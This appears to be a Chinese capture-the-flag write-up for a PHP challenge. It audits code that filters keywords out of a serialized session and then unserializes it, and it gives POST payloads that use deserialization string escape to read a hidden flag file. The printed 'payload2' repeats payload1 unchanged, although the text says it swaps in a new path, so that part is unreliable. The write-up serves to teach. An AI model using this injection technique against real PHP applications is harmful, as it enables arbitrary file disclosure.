考查点:代码审计,php反序列化字符串逃逸
目录
解题过程
首先打开题目,是个超链接
点击,直接就是代码审计
-
<?php
-
-
$function = @$_GET[
'f'];
-
-
function filter($img){
-
$filter_arr =
array(
'php',
'flag',
'php5',
'php4',
'fl1g');
-
$filter =
'/'.implode(
'|',$filter_arr).
'/i';
-
return preg_replace($filter,
'',$img);
-
}
-
-
-
if($_SESSION){
-
unset($_SESSION);
//首先将_SESSION数组中的数据进行释放
-
}
-
-
$_SESSION[
"user"] =
'guest';
-
$_SESSION[
'function'] = $function;
-
-
extract($_POST);
//对POST传值的数据进行赋值
-
-
if(!$function){
//如果不传值,就进行显示源代码的操作
-
echo
'<a href="index.php?f=highlight_file">source_code</a>';
-
}
-
-
if(!$_GET[
'img_path']){
//其实这里就决定了初始的_SESSION[img]没啥用,因为不管怎样最后都不可控
-
$_SESSION[
'img'] = base64_encode(
'guest_img.png');
-
}
else{
-
$_SESSION[
'img'] = sha1(base64_encode($_GET[
'img_path']));
//进行了sha1加密操作,这一步估计是没有利用的可能了
-
}
-
-
$serialize_info = filter(serialize($_SESSION));
//对序列化后的字符串进行过滤操作
-
-
if($function ==
'highlight_file'){
-
highlight_file(
'index.php');
-
}
else
if($function ==
'phpinfo'){
-
eval(
'phpinfo();');
//maybe you can find something in here! //找到了 d0g3_f1ag.php ,估计需要将其整进image里面
-
}
else
if($function ==
'show_image'){
-
$userinfo = unserialize($serialize_info);
//返序列化操作
-
echo file_get_contents(base64_decode($userinfo[
'img']));
-
}
代码审计
以GET方式传入$f,并且POST方式传入数据会extract()回对变量进行赋值。同时会进行一些赋初值操作(不过没用,最后会被我们传入的数据覆盖)。
我们传入的数据user,function,img,都存放在$_SESSION数组中,并且初始的img是没用的,基本已经堵死了
-
if(!$_GET[
'img_path']){
-
$_SESSION[
'img'] = base64_encode(
'guest_img.png');
-
}
else{
-
$_SESSION[
'img'] = sha1(base64_encode($_GET[
'img_path']));
//进行了sha1加密操作,这一步估计是没有利用的可能了
-
}
同时会对$_SESSION数组进行序列化,过滤,反序列化,然后文件读取操作,这就是利用点
-
$serialize_info = filter(serialize($_SESSION));
//对序列化后的字符串进行过滤操作
-
-
if($function ==
'show_image'){
-
$userinfo = unserialize($serialize_info);
//反序列化操作
-
echo file_get_contents(base64_decode($userinfo[
'img']));
//文件读取
-
}
根据提示,我们首先令$function=phpinfo查看信息,得到d0g3_f1ag.php
我们希望file_get_contents(base64_decode($userinfo['img']))可以得到d0g3_f1ag.php
-
base64_decode($userinfo[
'img'])=d0g3_f1ag.php
-
-
$userinfo[
'img']=ZDBnM19mMWFnLnBocA==
这个题目需要用到php反序列化字符逃逸的知识
先给出payload
payload1:
-
GET
-
?f=show_image
-
-
POST
-
_SESSION[user]=flagflagflagflagphpphp&_SESSION[
function]=;s:
8:
"function";s:
10:
"show_image";s:
3:
"img";s:
20:
"ZDBnM19mMWFnLnBocA==";}
payload2:
-
GET
-
?f=show_image
-
-
POST
-
_SESSION[user]=flagflagflagflagphpphp&_SESSION[
function]=;s:
8:
"function";s:
10:
"show_image";s:
3:
"img";s:
20:
"ZDBnM19mMWFnLnBocA==";}
首先分析payload1
此次过滤函数是将关键词替换为空,所以字符串长度会减少,我们可以将user的值定为关键词集合,而把function中的值定为function和img的键和值
因为序列化之后
a:3:{s:4:"user";s:22:"flagflagflagflagphpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
过滤后
a:3:{s:4:"user";s:22:"";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
红字部分是22个字符,需要被和谐进user的值中,所以flag和php的字符串长度为22,也就是flag*4+php*2,才能够成功。
其实也就是
-
array(
3) {
-
[
"user"]=>
-
string(
22)
"";s:
8:
"function";s:
73:
"
-
["
function"]=>
-
string(10) "show_image"
-
["img"]=>
-
string(20) "ZDBnM19mMWFnLnBocA=="
-
}
输入payload1,回显
提示我们flag在 /d0g3_fllllllag 中,
-
var_dump(base64_encode(
'/d0g3_fllllllag'));
-
string(
20)
"L2QwZzNfZmxsbGxsbGFn"
刚好长度为20,直接套进payload1,就得payload2,得到flag。
参考文章
转载:https://blog.csdn.net/RABCDXB/article/details/115559666